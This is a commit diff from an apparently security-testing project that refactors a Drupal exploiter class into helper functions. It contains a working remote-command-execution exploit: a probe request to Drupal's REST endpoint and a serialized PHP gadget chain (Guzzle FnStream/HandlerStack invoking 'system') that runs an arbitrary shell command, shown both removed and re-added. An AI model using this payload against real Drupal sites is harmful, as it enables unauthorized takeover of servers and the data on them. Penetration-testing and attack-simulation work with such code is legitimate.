forked from p15670423/monkey
Reformat + extract payload building to functions
This commit is contained in:
parent
cec57c1604
commit
cf776063af
|
@ -18,27 +18,6 @@ __author__ = 'Ophir Harpaz'
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
def check_drupal_cache(r: requests.Response) -> bool:
|
|
||||||
"""
|
|
||||||
Check if a response had the cache header.
|
|
||||||
"""
|
|
||||||
return 'X-Drupal-Cache' in r.headers and r.headers['X-Drupal-Cache'] == 'HIT'
|
|
||||||
|
|
||||||
|
|
||||||
def find_articles(base_url: str, lower: int = 1, upper: int = 10):
|
|
||||||
""" Find a target article that does not 404 and is not cached """
|
|
||||||
articles = set()
|
|
||||||
while lower < upper:
|
|
||||||
u = urljoin(base_url, str(lower))
|
|
||||||
r = requests.get(u)
|
|
||||||
if r.status_code == 200: # found an article
|
|
||||||
articles.add(lower)
|
|
||||||
if check_drupal_cache(r):
|
|
||||||
LOG.info(f'Found a cached article at: {lower}, skipping')
|
|
||||||
lower += 1
|
|
||||||
return articles
|
|
||||||
|
|
||||||
|
|
||||||
class DrupalExploiter(WebRCE):
|
class DrupalExploiter(WebRCE):
|
||||||
_TARGET_OS_TYPE = ['linux', 'windows']
|
_TARGET_OS_TYPE = ['linux', 'windows']
|
||||||
_EXPLOITED_SERVICE = 'Drupal Server'
|
_EXPLOITED_SERVICE = 'Drupal Server'
|
||||||
|
@ -88,22 +67,7 @@ class DrupalExploiter(WebRCE):
|
||||||
:param url: Drupal's URL and port
|
:param url: Drupal's URL and port
|
||||||
:return: Vulnerable URL if exploitable, otherwise False
|
:return: Vulnerable URL if exploitable, otherwise False
|
||||||
"""
|
"""
|
||||||
payload = {
|
payload = build_exploitability_check_payload(url)
|
||||||
"_links": {
|
|
||||||
"type": {
|
|
||||||
"href": f"{urljoin(url, '/rest/type/node/INVALID_VALUE')}"
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"type": {
|
|
||||||
"target_id": "article"
|
|
||||||
},
|
|
||||||
"title": {
|
|
||||||
"value": "My Article"
|
|
||||||
},
|
|
||||||
"body": {
|
|
||||||
"value": ""
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
response = requests.get(f'{url}?_format=hal_json',
|
response = requests.get(f'{url}?_format=hal_json',
|
||||||
json=payload,
|
json=payload,
|
||||||
|
@ -119,27 +83,7 @@ class DrupalExploiter(WebRCE):
|
||||||
# pad a easy search replace output:
|
# pad a easy search replace output:
|
||||||
cmd = f'echo {ID_STRING} && {command}'
|
cmd = f'echo {ID_STRING} && {command}'
|
||||||
base = remove_port(url)
|
base = remove_port(url)
|
||||||
payload = {
|
payload = build_cmd_execution_payload(base, cmd)
|
||||||
"link": [
|
|
||||||
{
|
|
||||||
"value": "link",
|
|
||||||
"options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000"
|
|
||||||
"GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\""
|
|
||||||
"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:"
|
|
||||||
"{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";"
|
|
||||||
"s:|size|:\"|command|\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000"
|
|
||||||
"stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000"
|
|
||||||
"GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\""
|
|
||||||
"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
|
|
||||||
"".replace('|size|', str(len(cmd))).replace('|command|', cmd)
|
|
||||||
}
|
|
||||||
],
|
|
||||||
"_links": {
|
|
||||||
"type": {
|
|
||||||
"href": f"{urljoin(base, '/rest/type/shortcut/default')}"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
LOG.info(payload)
|
LOG.info(payload)
|
||||||
|
|
||||||
|
@ -162,3 +106,69 @@ class DrupalExploiter(WebRCE):
|
||||||
:return: vulnerable URL to exploit
|
:return: vulnerable URL to exploit
|
||||||
"""
|
"""
|
||||||
return self.vulnerable_urls.pop()
|
return self.vulnerable_urls.pop()
|
||||||
|
|
||||||
|
|
||||||
|
def check_drupal_cache(r: requests.Response) -> bool:
|
||||||
|
"""
|
||||||
|
Check if a response had the cache header.
|
||||||
|
"""
|
||||||
|
return 'X-Drupal-Cache' in r.headers and r.headers['X-Drupal-Cache'] == 'HIT'
|
||||||
|
|
||||||
|
|
||||||
|
def find_articles(base_url: str, lower: int = 1, upper: int = 10):
|
||||||
|
""" Find a target article that does not 404 and is not cached """
|
||||||
|
articles = set()
|
||||||
|
while lower < upper:
|
||||||
|
u = urljoin(base_url, str(lower))
|
||||||
|
r = requests.get(u)
|
||||||
|
if r.status_code == 200: # found an article
|
||||||
|
articles.add(lower)
|
||||||
|
if check_drupal_cache(r):
|
||||||
|
LOG.info(f'Found a cached article at: {lower}, skipping')
|
||||||
|
lower += 1
|
||||||
|
return articles
|
||||||
|
|
||||||
|
|
||||||
|
def build_exploitability_check_payload(url):
|
||||||
|
payload = {
|
||||||
|
"_links": {
|
||||||
|
"type": {
|
||||||
|
"href": f"{urljoin(url, '/rest/type/node/INVALID_VALUE')}"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"type": {
|
||||||
|
"target_id": "article"
|
||||||
|
},
|
||||||
|
"title": {
|
||||||
|
"value": "My Article"
|
||||||
|
},
|
||||||
|
"body": {
|
||||||
|
"value": ""
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return payload
|
||||||
|
|
||||||
|
|
||||||
|
def build_cmd_execution_payload(base, cmd):
|
||||||
|
payload = {
|
||||||
|
"link": [
|
||||||
|
{
|
||||||
|
"value": "link",
|
||||||
|
"options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000"
|
||||||
|
"GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\""
|
||||||
|
"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:"
|
||||||
|
"{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";"
|
||||||
|
"s:|size|:\"|command|\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000"
|
||||||
|
"stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000"
|
||||||
|
"GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\""
|
||||||
|
"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
|
||||||
|
"".replace('|size|', str(len(cmd))).replace('|command|', cmd)
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"_links": {
|
||||||
|
"type": {
|
||||||
|
"href": f"{urljoin(base, '/rest/type/shortcut/default')}"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return payload
|
||||||
|
|
Loading…
Reference in New Issue